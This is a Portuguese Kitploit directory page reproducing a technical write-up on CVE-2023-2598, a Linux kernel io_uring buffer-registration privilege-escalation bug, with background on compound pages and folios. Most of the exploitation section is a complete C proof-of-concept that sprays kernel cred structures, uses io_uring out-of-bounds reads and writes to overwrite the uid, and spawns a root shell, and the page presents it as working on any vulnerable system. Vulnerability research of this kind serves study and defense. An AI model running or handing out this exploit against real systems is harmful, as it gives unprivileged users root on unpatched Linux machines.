Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-2598 — Análise técnica e exploit de prova de conceito para CVE-2023-2598, uma vulnerabilidade de escalonamento de privilégios no kernel Linux no registro de buffer do io_uring, com explicação detalhada dos internos de Compound Page e folio. | Kitploit
Ferramentas/GitHubGitHub/cainiao159357/cve-2023-2598
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcainiao159357/cve-2023-2598

CVE-2023-2598

Análise técnica e exploit de prova de conceito para CVE-2023-2598, uma vulnerabilidade de escalonamento de privilégios no kernel Linux no registro de buffer do io_uring, com explicação detalhada dos internos de Compound Page e folio.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 2 anosAinda não revisado

CVE-2023-2598 Elevação de privilégio

Entendendo o mecanismo de Compound Page e folio no Linux através do CVE-2023-2598, posteriormente verificar se é possível explorar o 1day CVE-2023-6560.

Compound Page (huge page)

A memória está cada vez maior, mas a unidade básica de alocação de página do Linux ainda é 4K, o que se torna insuficiente. Portanto, páginas compostas são introduzidas para resolver esse problema. Uma página composta é basicamente um conjunto de várias páginas, combinando duas ou mais páginas fisicamente contíguas em uma unidade que, em muitos aspectos, pode ser tratada como uma única página maior. Elas são mais comumente usadas para criar páginas grandes, utilizadas em hugetlbfs ou no subsistema de páginas grandes transparentes (transparent huge pages), mas também aparecem em outros cenários. Páginas compostas podem ser usadas como memória anônima ou como buffers no kernel; no entanto, elas não podem aparecer no page cache, que só pode lidar com páginas individuais.

Alocar uma página composta é chamar alloc_pages() e definir a flag __GFP_COMP com um número de quadros de página maior que 1, ou seja, order pelo menos 1. Isso é determinado pelo mecanismo de implementação da página composta.

Observação: as páginas compostas são necessariamente fisicamente contíguas

A flag no primeiro page marcará PG_head, indicando que esta é a página cabeça da página composta;

Todas as páginas subsequentes configurarão duas propriedades: mapping e compound_head, e através de compound_head é confirmado se é uma página cauda ou cabeça. Veja a função compound_head() para detalhes;

O segundo page armazenará mais informações da página composta, é por isso que a order da página composta é pelo menos 1;

root@kitploit:~
static inline unsigned long _compound_head(const struct page *page)
{
        unsigned long head = READ_ONCE(page->compound_head);
 
        if (unlikely(head & 1))
                return head - 1;
        return (unsigned long)page;
}

Pode-se ver que este campo não apenas contém a flag, mas também o ponteiro para a head page.

Portanto, ao obter uma page, é fácil determinar se é uma página composta e, se for, se é head page ou tail page. No entanto, ainda falta uma informação crucial: o tamanho desta página composta. Se o tamanho não for conhecido, ao liberar esta página composta, é necessário saber seu tamanho. Todas essas informações são armazenadas no campo lru da primeira tail page: o tamanho (order) da página composta é primeiro convertido para um tipo de ponteiro e armazenado em lru.prev, e o destructor é armazenado em lru.next.

Desde que a head page e o tamanho da página composta sejam conhecidos, é possível liberar corretamente essa grande página, pois as páginas compostas são fisicamente contíguas.

A estrutura é mostrada na figura abaixo:

img

folio

folio pode ser visto como uma camada de empacotamento sobre a page, sem overhead. Um folio pode ser uma única página ou uma página composta.

img

A figura acima é um diagrama da estrutura page, com 64 bytes gerenciando informações como flags, lru, mapping, index, private, {ref_, map_}count, memcg_data, etc. Quando a page é uma página composta, essas informações de flags ficam na head page, enquanto as tail pages reutilizam o gerenciamento de compound_{head, mapcount, order, nr, dtor}, etc.

root@kitploit:~
struct folio {
        /* private: don't document the anon union */
        union {
                struct {
        /* public: */
                        unsigned long flags;
                        struct list_head lru;
                        struct address_space *mapping;
                        pgoff_t index;
                        void *private;
                        atomic_t _mapcount;
                        atomic_t _refcount;
#ifdef CONFIG_MEMCG
                        unsigned long memcg_data;
#endif
        /* private: the union with struct page is transitional */
                };
                struct page page;
        };
};

Na definição da estrutura do folio, flags, lru e outras informações são exatamente iguais às da page, portanto podem ser colocadas em union com a page. Isso permite usar diretamente folio->flags em vez de folio->page->flags.

root@kitploit:~
#define page_folio(p)           (_Generic((p),                          \
        const struct page *:    (const struct folio *)_compound_head(p), \
        struct page *:          (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n)    nth_page(&(folio)->page, n)

À primeira vista, page_folio pode parecer confuso, mas é equivalente a:

root@kitploit:~
switch (typeof(p)) {
  case const struct page *:
    return (const struct folio *)_compound_head(p);
  case struct page *:
    return (struct folio *)_compound_head(p)));
}

Através da macro page_folio, descobre-se que folio é na verdade uma head page de uma página composta. Quando folio é convertido para page, folio->page é usado para obter a head page, e folio_page(folio, n) pode ser usado para obter a tail page.

Então, para que serve o folio? Mais do que isso, é para desenvolvimento e eficiência. Sem o folio, a função não consegue determinar se a página atual é head page, então seria necessário chamar _compound_head. Se o caminho de execução for longo, cada função no caminho que usa _compound_head repetidamente afetaria a eficiência. No entanto, se a função aceitar apenas o parâmetro struct folio *, este folio aponta para a head page, então a função não precisa mais chamar _compound_head.

Portanto, existem três funções principais:

  1. Reduzir chamadas redundantes de compound_head.

  2. Dar uma dica ao desenvolvedor: ao ver folio, pode-se determinar que é uma head page.

  3. Corrigir potenciais bugs causados por tail page.

Principio da vulnerabilidade

No io_uring_register_buffer do io_uring, existe esta lógica:

image-20240830214419290

Quando a página passada pelo espaço do usuário é maior que 1, io_uring verifica se o buffer passado é um folio. O método de verificação é usar page_folio() para obter a head page de page[i]; se a head page de page[i] for igual a page[0], então considera-se que pertencem à mesma tabela de páginas compostas.

Geralmente, esse tratamento não apresenta problemas, mas existe um caso especial: se no espaço do usuário for usado mmap para mapear a mesma página física em endereços virtuais contíguos, isso também atende à condição de julgamento e, por fim, entra neste ramo:

image-20240830225137539

Neste momento, o espaço do usuário solicitou apenas uma página física, mas o tamanho final é o tamanho do endereço virtual contíguo, fazendo com que o size possa ser maior que a região de endereço físico realmente solicitada. Isso resulta em leitura/escrita fora dos limites.

Exploração da vulnerabilidade

Fazer spray de cred e, em seguida, usar esta interface de leitura/escrita fora dos limites para modificar o uid.

Comparado com o exp da internet, este exp, por modificar o uid, não depende de endereço; qualquer sistema com essa vulnerabilidade pode usar este exp.

root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600

#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)

int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
void log(char *buf){
    fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
    for(int i=0;i<CRED_DRAIN;i++){
        int ret=fork();
        if(!ret){
            read(check_root_pipe[0],child_pipe_buf,1);
            if(getuid()==0){
                write(1, root_str, 71);
                system("/bin/sh");
            }
            sleep(100000000);
        }
        check_ret(ret,"fork fail");
    }
}
void clear_buddy(){
    void * pages[MAX_PAGES];
    for(int i=0;i<MAX_PAGES;i++){
        pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        check_ret(pages[i],"mmap");
    }
    for(int i=0;i<MAX_PAGES;i++){
        *(char *)pages[i]='a';
    }
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
    /* for syscall, it's clone(flags, stack, ...) */
    __asm__ volatile (
        " mov r15, rsi\n"   /* save the rsi*/
        " xor rsi, rsi\n"   /* set esp and useless args to NULL */
        " xor rdx, rdx\n"
        " xor r10, r10\n"
        " xor r8, r8\n"
        " xor r9, r9\n"
        " mov rax, 56\n"   /* __NR_clone */
        " syscall\n"
        " cmp rax, 0\n"
        " je child_fn\n"
        " ret\n"   /* parent */
        "child_fn:    \n"
        " jmp r15\n"   /* child */
    );
}


int waiting_for_root_fn(void *args)
{
    /* we're using the same stack for them, so we need to avoid cracking it.. */
    __asm__ volatile (
        "   lea rax, [check_root_pipe]\n"
        "   xor rdi, rdi\n"
        "   mov edi, dword ptr [rax]\n"
        "   mov rsi, child_pipe_buf\n"
        "   mov rdx, 1\n"
        "   xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
        "   syscall\n"
        "   mov rax, 102\n" /* getuid() */
        "   syscall\n"
        "   cmp rax, 0\n"
        "   jne failed\n"
        "   mov rdi, 1\n"
        "   lea rsi, [root_str]\n"
        "   mov rdx, 80\n"
        "   mov rax, 1\n"    /* write(1, root_str, 71) */
        "   syscall\n"
        "   lea rdi, [bin_sh_str]\n"
        "   lea rsi, [shell_args]\n"
        "   xor rdx, rdx\n"
        "   mov rax, 59\n"
        "   syscall\n"   /* execve("/bin/sh", args, NULL) */
        "failed: \n"
        "   lea rdi, [timer]\n"
        "   xor rsi, rsi\n"
        "   mov rax, 35\n"  /* nanosleep() */
        "   syscall\n"
    );
    return 0;
}


int main(){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int ret;
    int memfd;
    int rw_fd;
    struct iovec iovec;
    char *rw_buffer;
    uint64_t start_addr=0x800000000;
    int nr_pages=500;
    char buf[1000];
    //清空cred cache
    log("drain cred cache");
    pipe(check_root_pipe);
    cred_drain();
    //清空buddy system cache
    log("clear buddy system cache");
    clear_buddy();
    //初始化io_uring
    log("io_uring_setup");
    ret=io_uring_queue_init(8,&ring,0);
    check_ret(ret,"io_uring_setup fail");
    //准备缓冲区
    log("prepare buf to register");
    memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd,"memfd_create fail");
    rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
    check_ret(rw_fd,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    for(int i=0;i<nr_pages;i++){
        check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
    }
    rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
    check_ret(rw_buffer,"mmap fail");
    //注册缓冲区
    log("register buffer");
    iovec.iov_base=start_addr;
    iovec.iov_len=nr_pages*PAGE_SIZE;
    check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
    //spray cred
    log("spray cred");
    for(int i=0;i<CRED_SPRAY;i++){
        check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
    }
    //search cred page
    log("search crea page");
    int page_offset=0;
    for(int i=0;i<nr_pages;i++){
        sqe=io_uring_get_sqe(&ring);
        check_ret(sqe,"io_uring_get_sqe fail");
        io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
        check_ret(io_uring_submit(&ring),"io_uring_submit fail");
        io_uring_wait_cqe(&ring, &cqe);
        io_uring_cqe_seen(&ring, cqe);
        int uid=((int *)(rw_buffer))[1];
        int gid=((int *)(rw_buffer))[2];
        if(uid==1000 && gid==1000){
            page_offset=i;
            break;
        }
    }
    if(page_offset==0){
        err_exit("not find cred page");
    }
    //edit cred's uid
    log("/edit cred's uid");
    *(size_t *)(rw_buffer)=0x2;
    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);


    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    //check privilege in child processes
    log("check privilege in child processes");
    write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
    sleep(100000000);
}

Reflexão

Observe este trecho de código:

image-20240830230232004

Se o que foi passado for de fato uma página composta e registrada, o io_uring não incrementará a contagem de referência para as páginas seguintes. Se o espaço do usuário desmapear no meio dessa página composta, a região de memória correspondente, por ter apenas 1 referência, será completamente liberada, mas o size registrado no io_uring não é alterado. Assim, é possível ler/escrever fora dos limites através do io_uring. Infelizmente, após meus testes, o Linux não permite desmapear do meio de uma página composta, o que é razoável, pois se fosse possível, gerenciar a page seria muito difícil.

Baixar ferramenta